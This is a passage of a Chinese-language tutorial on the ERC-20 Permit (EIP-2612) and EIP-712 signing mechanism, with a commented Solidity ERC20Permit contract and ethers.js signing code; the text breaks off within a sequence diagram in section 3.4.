      <![CDATA[<h1>ERC-20 Permit 与 ECDSA 密码学原理</h1><blockquote><p>本文深入解析 EIP-712/EIP-2612 Permit 机制的工作原理，以及底层 ECDSA 椭圆曲线签名的密码学基础。</p></blockquote><hr><h2 id="目录">目录</h2><ol><li><a href="#1-permit-%E6%9C%BA%E5%88%B6%E6%A6%82%E8%BF%B0">Permit 机制概述</a></li><li><a href="#2-eip-712-%E7%BB%93%E6%9E%84%E5%8C%96%E7%AD%BE%E5%90%8D">EIP-712 结构化签名</a></li><li><a href="#3-permit-%E5%AE%8C%E6%95%B4%E4%BB%A3%E7%A0%81%E5%AE%9E%E7%8E%B0">Permit 完整代码实现</a> ⭐ 开发者必读</li><li><a href="#4-ecdsa-%E5%AF%86%E7%A0%81%E5%AD%A6%E5%9F%BA%E7%A1%80">ECDSA 密码学基础</a></li><li><a href="#5-%E6%A4%AD%E5%9C%86%E6%9B%B2%E7%BA%BF%E6%95%B0%E5%AD%A6">椭圆曲线数学</a></li><li><a href="#6-%E7%AD%BE%E5%90%8D%E4%B8%8E%E9%AA%8C%E8%AF%81%E6%B5%81%E7%A8%8B">签名与验证流程</a></li><li><a href="#7-ecrecover-%E5%8E%9F%E7%90%86">ecrecover 原理</a></li><li><a href="#8-%E5%AE%89%E5%85%A8%E6%80%A7%E5%88%86%E6%9E%90">安全性分析</a></li><li><a href="#9-%E5%AE%9E%E9%99%85%E5%BA%94%E7%94%A8%E5%9C%BA%E6%99%AF">实际应用场景</a></li></ol><hr><h2 id="1-Permit-机制概述">1. Permit 机制概述</h2><h3 id="1-1-传统-ERC-20-授权的问题">1.1 传统 ERC-20 授权的问题</h3><p>传统 ERC-20 代币转账需要<strong>两笔交易</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">交易1: approve(spender, amount)   ← 用户付 Gas</span><br><span class="line">交易2: transferFrom(...)          ← DApp 调用</span><br></pre></td></tr></table></figure><p><strong>痛点</strong>：</p><ul><li>用户需要两次确认</li><li>需要支付两笔 Gas</li><li>用户体验差</li></ul><h3 id="1-2-Permit-解决方案-EIP-2612">1.2 Permit 解决方案 (EIP-2612)</h3><p>Permit 允许用户通过<strong>离线签名</strong>完成授权：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">步骤1: 用户离线签名授权信息     ← 免费，无 Gas</span><br><span class="line">步骤2: 任何人提交签名到链上     ← 可由 DApp 代付 Gas</span><br></pre></td></tr></table></figure><p><strong>优势</strong>：</p><ul><li>单笔交易完成授权+操作</li><li>支持 Gasless 交易（元交易）</li><li>更好的用户体验</li></ul><h3 id="1-3-Permit-函数签名">1.3 Permit 函数签名</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">function permit(</span><br><span class="line">    address owner,      // 代币所有者</span><br><span class="line">    address spender,    // 被授权者</span><br><span class="line">    uint256 value,      // 授权金额</span><br><span class="line">    uint256 deadline,   // 签名有效期</span><br><span class="line">    uint8 v,            // 签名组件</span><br><span class="line">    bytes32 r,          // 签名组件</span><br><span class="line">    bytes32 s           // 签名组件</span><br><span class="line">) external;</span><br></pre></td></tr></table></figure><hr><h2 id="2-EIP-712-结构化签名">2. EIP-712 结构化签名</h2><h3 id="2-1-为什么需要-EIP-712">2.1 为什么需要 EIP-712</h3><p>早期以太坊签名（<code>eth_sign</code>）只能签名原始字节：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">用户在钱包看到:</span><br><span class="line">0x7f5e3b2a1c4d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f...</span><br><span class="line"></span><br><span class="line">问题: 用户无法理解自己在签什么！</span><br></pre></td></tr></table></figure><p>EIP-712 提供<strong>结构化、人类可读</strong>的签名格式：</p><pre><code class="highlight mermaid">flowchart LR    subgraph Wallet[&quot;🦊 钱包签名请求&quot;]        direction TB        H[&quot;📋 授权请求&quot;]        A[&quot;应用: Uniswap&quot;]        B[&quot;授权给: 0x1234...&quot;]        C[&quot;金额: 100 USDC&quot;]        D[&quot;有效期至: 2024-01-01&quot;]    end    style Wallet fill:#f9f9f9,stroke:#333,stroke-width:2px</code></pre><p><strong>EIP-712 的优势</strong>：</p><ul><li><strong>可读性</strong>：用户可以清楚看到授权的应用名称、被授权地址、金额和有效期</li><li><strong>安全性</strong>：用户能够验证签名内容是否符合预期，避免被钓鱼攻击</li><li><strong>标准化</strong>：钱包可以以统一的方式展示不同 DApp 的签名请求</li></ul><h3 id="2-2-EIP-712-签名结构">2.2 EIP-712 签名结构</h3><p>完整的 EIP-712 签名消息：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord text"><span class="mord">message</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord texttt">keccak256</span></span><span class="mopen">(</span><span class="mord text"><span class="mord texttt">&quot;\x19\x01&quot;</span></span><span class="mord">∥</span><span class="mord text"><span class="mord">domainSeparator</span></span><span class="mord">∥</span><span class="mord text"><span class="mord">structHash</span></span><span class="mclose">)</span></span></span></span></span></p><p>其中：</p><ul><li><code>\x19\x01</code> 是 EIP-712 固定前缀</li><li><code>domainSeparator</code> 标识签名的应用/合约</li><li><code>structHash</code> 是实际授权内容的哈希</li></ul><h3 id="2-3-Domain-Separator">2.3 Domain Separator</h3><p>Domain Separator 用于<strong>唯一标识</strong>签名的使用范围：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">bytes32 DOMAIN_SEPARATOR = keccak256(abi.encode(</span><br><span class="line">    keccak256(&quot;EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)&quot;),</span><br><span class="line">    keccak256(bytes(name)),        // 应用名称</span><br><span class="line">    keccak256(bytes(version)),     // 版本号</span><br><span class="line">    chainId,                       // 链 ID</span><br><span class="line">    address(this)                  // 合约地址</span><br><span class="line">));</span><br></pre></td></tr></table></figure><p><strong>防重放攻击</strong>：</p><table><thead><tr><th>字段</th><th>防止的攻击类型</th></tr></thead><tbody><tr><td><code>name</code></td><td>不同应用间签名重放</td></tr><tr><td><code>version</code></td><td>合约升级后旧签名重放</td></tr><tr><td><code>chainId</code></td><td>跨链签名重放 (ETH → BSC)</td></tr><tr><td><code>verifyingContract</code></td><td>同链不同合约间重放</td></tr></tbody></table><h3 id="2-4-Struct-Hash">2.4 Struct Hash</h3><p>对于 Permit，structHash 的构造：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">bytes32 structHash = keccak256(abi.encode(</span><br><span class="line">    keccak256(&quot;Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)&quot;),</span><br><span class="line">    owner,</span><br><span class="line">    spender,</span><br><span class="line">    value,</span><br><span class="line">    nonce,      // 防止同一签名多次使用</span><br><span class="line">    deadline</span><br><span class="line">));</span><br></pre></td></tr></table></figure><hr><h2 id="3-Permit-完整代码实现">3. Permit 完整代码实现</h2><blockquote><p>⭐ <strong>开发者必读</strong>：本节展示 Permit 的完整实现，帮助你理解每一行代码的作用。</p></blockquote><h3 id="3-1-完整的-ERC20Permit-合约">3.1 完整的 ERC20Permit 合约</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br></pre></td><td class="code"><pre><span class="line">// SPDX-License-Identifier: MIT</span><br><span class="line">pragma solidity ^0.8.0;</span><br><span class="line"></span><br><span class="line">import &quot;@openzeppelin/contracts/token/ERC20/ERC20.sol&quot;;</span><br><span class="line">import &quot;@openzeppelin/contracts/utils/cryptography/ECDSA.sol&quot;;</span><br><span class="line"></span><br><span class="line">/**</span><br><span class="line"> * @title ERC20Permit 完整实现</span><br><span class="line"> * @notice 支持离线签名授权的 ERC20 代币</span><br><span class="line"> */</span><br><span class="line">contract ERC20Permit is ERC20 &#123;</span><br><span class="line">    using ECDSA for bytes32;</span><br><span class="line"></span><br><span class="line">    // ============ 状态变量 ============</span><br><span class="line"></span><br><span class="line">    /// @notice 每个地址的 nonce，防止签名重放</span><br><span class="line">    mapping(address =&gt; uint256) public nonces;</span><br><span class="line"></span><br><span class="line">    /// @notice EIP-712 Domain Separator（合约部署时计算）</span><br><span class="line">    bytes32 public immutable DOMAIN_SEPARATOR;</span><br><span class="line"></span><br><span class="line">    /// @notice Permit 类型哈希（编译时常量）</span><br><span class="line">    bytes32 public constant PERMIT_TYPEHASH = keccak256(</span><br><span class="line">        &quot;Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)&quot;</span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    // ============ 构造函数 ============</span><br><span class="line"></span><br><span class="line">    constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_) &#123;</span><br><span class="line">        // 计算 Domain Separator</span><br><span class="line">        DOMAIN_SEPARATOR = keccak256(abi.encode(</span><br><span class="line">            keccak256(&quot;EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)&quot;),</span><br><span class="line">            keccak256(bytes(name_)),      // 代币名称</span><br><span class="line">            keccak256(bytes(&quot;1&quot;)),        // 版本号</span><br><span class="line">            block.chainid,                // 当前链 ID</span><br><span class="line">            address(this)                 // 本合约地址</span><br><span class="line">        ));</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    // ============ Permit 核心函数 ============</span><br><span class="line"></span><br><span class="line">    /**</span><br><span class="line">     * @notice 通过签名授权 spender 使用 owner 的代币</span><br><span class="line">     * @param owner_     代币所有者地址</span><br><span class="line">     * @param spender_   被授权者地址</span><br><span class="line">     * @param value_     授权金额</span><br><span class="line">     * @param deadline_  签名过期时间戳</span><br><span class="line">     * @param v_         签名恢复标识符</span><br><span class="line">     * @param r_         签名 r 值</span><br><span class="line">     * @param s_         签名 s 值</span><br><span class="line">     */</span><br><span class="line">    function permit(</span><br><span class="line">        address owner_,</span><br><span class="line">        address spender_,</span><br><span class="line">        uint256 value_,</span><br><span class="line">        uint256 deadline_,</span><br><span class="line">        uint8 v_,</span><br><span class="line">        bytes32 r_,</span><br><span class="line">        bytes32 s_</span><br><span class="line">    ) external &#123;</span><br><span class="line">        // ========== 步骤 1: 检查签名是否过期 ==========</span><br><span class="line">        require(block.timestamp &lt;= deadline_, &quot;ERC20Permit: expired deadline&quot;);</span><br><span class="line"></span><br><span class="line">        // ========== 步骤 2: 构造 structHash ==========</span><br><span class="line">        // 将授权信息编码并哈希</span><br><span class="line">        bytes32 structHash = keccak256(abi.encode(</span><br><span class="line">            PERMIT_TYPEHASH,           // 类型标识</span><br><span class="line">            owner_,                    // 代币所有者</span><br><span class="line">            spender_,                  // 被授权者</span><br><span class="line">            value_,                    // 授权金额</span><br><span class="line">            _useNonce(owner_),         // 获取并递增 nonce</span><br><span class="line">            deadline_                  // 过期时间</span><br><span class="line">        ));</span><br><span class="line"></span><br><span class="line">        // ========== 步骤 3: 构造完整的 EIP-712 消息哈希 ==========</span><br><span class="line">        // message = keccak256(&quot;\x19\x01&quot; || DOMAIN_SEPARATOR || structHash)</span><br><span class="line">        bytes32 digest = keccak256(abi.encodePacked(</span><br><span class="line">            &quot;\x19\x01&quot;,                // EIP-712 前缀</span><br><span class="line">            DOMAIN_SEPARATOR,          // 域分隔符（标识本合约）</span><br><span class="line">            structHash                 // 授权内容哈希</span><br><span class="line">        ));</span><br><span class="line"></span><br><span class="line">        // ========== 步骤 4: 从签名恢复签名者地址 ==========</span><br><span class="line">        // ecrecover 是 EVM 预编译合约，从签名反推公钥/地址</span><br><span class="line">        address recoveredAddress = ecrecover(digest, v_, r_, s_);</span><br><span class="line"></span><br><span class="line">        // ========== 步骤 5: 验证签名者是否为 owner ==========</span><br><span class="line">        require(</span><br><span class="line">            recoveredAddress != address(0) &amp;&amp; recoveredAddress == owner_,</span><br><span class="line">            &quot;ERC20Permit: invalid signature&quot;</span><br><span class="line">        );</span><br><span class="line"></span><br><span class="line">        // ========== 步骤 6: 执行授权 ==========</span><br><span class="line">        // 与 approve() 相同的效果</span><br><span class="line">        _approve(owner_, spender_, value_);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    // ============ 辅助函数 ============</span><br><span class="line"></span><br><span class="line">    /**</span><br><span class="line">     * @notice 获取当前 nonce 并递增</span><br><span class="line">     * @dev 每次 permit 调用都会递增 nonce，防止签名重放</span><br><span class="line">     */</span><br><span class="line">    function _useNonce(address owner_) internal returns (uint256 current) &#123;</span><br><span class="line">        current = nonces[owner_];</span><br><span class="line">        nonces[owner_] = current + 1;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    /**</span><br><span class="line">     * @notice 查询 EIP-712 域信息（EIP-5267）</span><br><span class="line">     */</span><br><span class="line">    function eip712Domain() external view returns (</span><br><span class="line">        bytes1 fields,</span><br><span class="line">        string memory name,</span><br><span class="line">        string memory version,</span><br><span class="line">        uint256 chainId,</span><br><span class="line">        address verifyingContract,</span><br><span class="line">        bytes32 salt,</span><br><span class="line">        uint256[] memory extensions</span><br><span class="line">    ) &#123;</span><br><span class="line">        return (</span><br><span class="line">            hex&quot;0f&quot;,                    // 表示使用了 name, version, chainId, verifyingContract</span><br><span class="line">            name(),                     // 代币名称</span><br><span class="line">            &quot;1&quot;,                        // 版本</span><br><span class="line">            block.chainid,              // 链 ID</span><br><span class="line">            address(this),              // 合约地址</span><br><span class="line">            bytes32(0),                 // salt（未使用）</span><br><span class="line">            new uint256[](0)            // extensions（未使用）</span><br><span class="line">        );</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-2-关键步骤图解">3.2 关键步骤图解</h3><pre><code class="highlight mermaid">flowchart LR    A[&quot;1.检查deadline&quot;] --&gt; B[&quot;2.structHash&quot;] --&gt; C[&quot;3.digest&quot;] --&gt; D[&quot;4.ecrecover&quot;] --&gt; E[&quot;5.验证地址&quot;] --&gt; F[&quot;6._approve()&quot;]</code></pre><p><strong>permit() 执行流程</strong>：</p><ol><li><strong>检查过期</strong> → <code>require(block.timestamp &lt;= deadline_)</code> — 签名已过期则 revert</li><li><strong>构造 structHash</strong> → 将 <code>(TYPEHASH, owner, spender, value, nonce, deadline)</code> 编码后哈希</li><li><strong>构造 digest</strong> → <code>keccak256(&quot;\x19\x01&quot; || DOMAIN_SEPARATOR || structHash)</code> — 这就是用户签名的内容</li><li><strong>恢复地址</strong> → <code>ecrecover(digest, v, r, s)</code> — 通过椭圆曲线数学从签名反推公钥</li><li><strong>验证身份</strong> → <code>require(recoveredAddress == owner_)</code> — 只有正确私钥才能恢复出正确地址</li><li><strong>执行授权</strong> → <code>_approve(owner_, spender_, value_)</code> — 与 <code>approve()</code> 效果相同</li></ol><table><thead><tr><th>步骤</th><th>作用</th><th>安全保障</th></tr></thead><tbody><tr><td>步骤 1</td><td>时效控制</td><td>防止使用过期签名</td></tr><tr><td>步骤 2-3</td><td>消息构造</td><td>DOMAIN_SEPARATOR 确保签名只能在本合约使用</td></tr><tr><td>步骤 4-5</td><td>身份验证</td><td>ecrecover 验证只有 owner 私钥才能产生有效签名</td></tr><tr><td>步骤 2</td><td>防重放</td><td>nonce 递增确保每个签名只能使用一次</td></tr></tbody></table><h3 id="3-3-前端签名代码">3.3 前端签名代码</h3><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> &#123; ethers &#125; <span class="keyword">from</span> <span class="string">&quot;ethers&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 生成 Permit 签名</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">signPermit</span>(<span class="params"></span></span><br><span class="line"><span class="params">  <span class="attr">signer</span>: ethers.<span class="title class_">Signer</span>, <span class="comment">// 用户钱包</span></span></span><br><span class="line"><span class="params">  <span class="attr">tokenAddress</span>: <span class="built_in">string</span>, <span class="comment">// 代币合约地址</span></span></span><br><span class="line"><span class="params">  <span class="attr">tokenName</span>: <span class="built_in">string</span>, <span class="comment">// 代币名称</span></span></span><br><span class="line"><span class="params">  <span class="attr">spender</span>: <span class="built_in">string</span>, <span class="comment">// 被授权者</span></span></span><br><span class="line"><span class="params">  <span class="attr">value</span>: ethers.<span class="title class_">BigNumber</span>, <span class="comment">// 授权金额</span></span></span><br><span class="line"><span class="params">  <span class="attr">nonce</span>: <span class="built_in">number</span>, <span class="comment">// 当前 nonce</span></span></span><br><span class="line"><span class="params">  <span class="attr">deadline</span>: <span class="built_in">number</span> <span class="comment">// 过期时间戳</span></span></span><br><span class="line"><span class="params"></span>): <span class="title class_">Promise</span>&lt;&#123; <span class="attr">v</span>: <span class="built_in">number</span>; <span class="attr">r</span>: <span class="built_in">string</span>; <span class="attr">s</span>: <span class="built_in">string</span> &#125;&gt; &#123;</span><br><span class="line">  <span class="keyword">const</span> chainId = <span class="keyword">await</span> signer.<span class="title function_">getChainId</span>();</span><br><span class="line">  <span class="keyword">const</span> ownerAddress = <span class="keyword">await</span> signer.<span class="title function_">getAddress</span>();</span><br><span class="line"></span><br><span class="line">  <span class="comment">// ========== 构造 EIP-712 Domain ==========</span></span><br><span class="line">  <span class="keyword">const</span> domain = &#123;</span><br><span class="line">    <span class="attr">name</span>: tokenName, <span class="comment">// 必须与合约中的 name() 一致</span></span><br><span class="line">    <span class="attr">version</span>: <span class="string">&quot;1&quot;</span>, <span class="comment">// 必须与合约中的版本一致</span></span><br><span class="line">    <span class="attr">chainId</span>: chainId, <span class="comment">// 当前链 ID</span></span><br><span class="line">    <span class="attr">verifyingContract</span>: tokenAddress, <span class="comment">// 代币合约地址</span></span><br><span class="line">  &#125;;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// ========== 定义数据类型 ==========</span></span><br><span class="line">  <span class="keyword">const</span> types = &#123;</span><br><span class="line">    <span class="title class_">Permit</span>: [</span><br><span class="line">      &#123; <span class="attr">name</span>: <span class="string">&quot;owner&quot;</span>, <span class="attr">type</span>: <span class="string">&quot;address&quot;</span> &#125;,</span><br><span class="line">      &#123; <span class="attr">name</span>: <span class="string">&quot;spender&quot;</span>, <span class="attr">type</span>: <span class="string">&quot;address&quot;</span> &#125;,</span><br><span class="line">      &#123; <span class="attr">name</span>: <span class="string">&quot;value&quot;</span>, <span class="attr">type</span>: <span class="string">&quot;uint256&quot;</span> &#125;,</span><br><span class="line">      &#123; <span class="attr">name</span>: <span class="string">&quot;nonce&quot;</span>, <span class="attr">type</span>: <span class="string">&quot;uint256&quot;</span> &#125;,</span><br><span class="line">      &#123; <span class="attr">name</span>: <span class="string">&quot;deadline&quot;</span>, <span class="attr">type</span>: <span class="string">&quot;uint256&quot;</span> &#125;,</span><br><span class="line">    ],</span><br><span class="line">  &#125;;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// ========== 构造签名内容 ==========</span></span><br><span class="line">  <span class="keyword">const</span> message = &#123;</span><br><span class="line">    <span class="attr">owner</span>: ownerAddress,</span><br><span class="line">    <span class="attr">spender</span>: spender,</span><br><span class="line">    <span class="attr">value</span>: value,</span><br><span class="line">    <span class="attr">nonce</span>: nonce,</span><br><span class="line">    <span class="attr">deadline</span>: deadline,</span><br><span class="line">  &#125;;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// ========== 调用钱包签名 ==========</span></span><br><span class="line">  <span class="comment">// _signTypedData 会弹出钱包确认框，显示结构化的签名内容</span></span><br><span class="line">  <span class="keyword">const</span> signature = <span class="keyword">await</span> signer.<span class="title function_">_signTypedData</span>(domain, types, message);</span><br><span class="line"></span><br><span class="line">  <span class="comment">// ========== 拆分签名为 v, r, s ==========</span></span><br><span class="line">  <span class="keyword">const</span> &#123; v, r, s &#125; = ethers.<span class="property">utils</span>.<span class="title function_">splitSignature</span>(signature);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> &#123; v, r, s &#125;;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ========== 使用示例 ==========</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">main</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">const</span> provider = <span class="keyword">new</span> ethers.<span class="property">providers</span>.<span class="title class_">Web3Provider</span>(<span class="variable language_">window</span>.<span class="property">ethereum</span>);</span><br><span class="line">  <span class="keyword">const</span> signer = provider.<span class="title function_">getSigner</span>();</span><br><span class="line"></span><br><span class="line">  <span class="keyword">const</span> tokenAddress = <span class="string">&quot;0x...&quot;</span>; <span class="comment">// USDC 地址</span></span><br><span class="line">  <span class="keyword">const</span> spenderAddress = <span class="string">&quot;0x...&quot;</span>; <span class="comment">// DEX 合约地址</span></span><br><span class="line">  <span class="keyword">const</span> amount = ethers.<span class="property">utils</span>.<span class="title function_">parseUnits</span>(<span class="string">&quot;100&quot;</span>, <span class="number">6</span>); <span class="comment">// 100 USDC</span></span><br><span class="line">  <span class="keyword">const</span> deadline = <span class="title class_">Math</span>.<span class="title function_">floor</span>(<span class="title class_">Date</span>.<span class="title function_">now</span>() / <span class="number">1000</span>) + <span class="number">3600</span>; <span class="comment">// 1 小时后过期</span></span><br><span class="line"></span><br><span class="line">  <span class="comment">// 获取当前 nonce</span></span><br><span class="line">  <span class="keyword">const</span> tokenContract = <span class="keyword">new</span> ethers.<span class="title class_">Contract</span>(</span><br><span class="line">    tokenAddress,</span><br><span class="line">    [<span class="string">&quot;function nonces(address) view returns (uint256)&quot;</span>],</span><br><span class="line">    provider</span><br><span class="line">  );</span><br><span class="line">  <span class="keyword">const</span> nonce = <span class="keyword">await</span> tokenContract.<span class="title function_">nonces</span>(<span class="keyword">await</span> signer.<span class="title function_">getAddress</span>());</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 生成签名</span></span><br><span class="line">  <span class="keyword">const</span> &#123; v, r, s &#125; = <span class="keyword">await</span> <span class="title function_">signPermit</span>(</span><br><span class="line">    signer,</span><br><span class="line">    tokenAddress,</span><br><span class="line">    <span class="string">&quot;USD Coin&quot;</span>, <span class="comment">// 代币名称</span></span><br><span class="line">    spenderAddress,</span><br><span class="line">    amount,</span><br><span class="line">    nonce.<span class="title function_">toNumber</span>(),</span><br><span class="line">    deadline</span><br><span class="line">  );</span><br><span class="line"></span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;签名结果:&quot;</span>, &#123; v, r, s &#125;);</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 现在可以将 (v, r, s) 和其他参数发送给合约或中继者</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-4-完整交互流程">3.4 完整交互流程</h3><p>下图展示了 Permit 从签名到授权的完整流程：</p><pre><code class="highlight mermaid">sequenceDiagram    participant User as 用户（前端）    participant Wallet as 钱包    participant Contract as 合约（链上）    Note over User,Contract: Permit 完整流程    User-&gt;&gt;Contract: 1. 获取 nonce    Contract--&gt;&gt;User: nonce = 5    Note over User,Wallet: 2. 构造 EIP-712 消息    User-&gt;&gt;User: domain = &#123;name, version, chainId, contract&#125;    User-&gt;&gt;User: message = &#123;owner, spender, value, nonce=5, deadline&#125;    Note over User,Wallet: 3. 钱包签名    User-&gt;&gt;Wallet: 请求签名    Wallet-&gt;&gt;Wallet: digest = hash(domain + message)    Wallet-&gt;&gt;Wallet: (v, r, s) = sign(digest)    Wallet--&gt;&gt;User: 返回 (v, r, s)    User-&gt;&gt;Contract: 4. 调用 permit(owner, spender, value, deadline, v, r, s)    Note over Contract: 5. 合约验证    Contract-&gt;&gt;Contract: 检查 deadline    Contract-&gt;&gt;Contract: 重建 digest    Contract-&gt;&gt;Contract: ecrecover 恢复地址    Contract-&gt;&gt;Contract: 验证地址 == owner    Contract-&gt;&gt;Contract: nonce++（防重放）    Contract-&gt;&gt;Contract: _approve()    Contract--&gt;&gt;User: 授权成功！    Note over User,Contract: 6. 后续操作（如 DEX 交易）    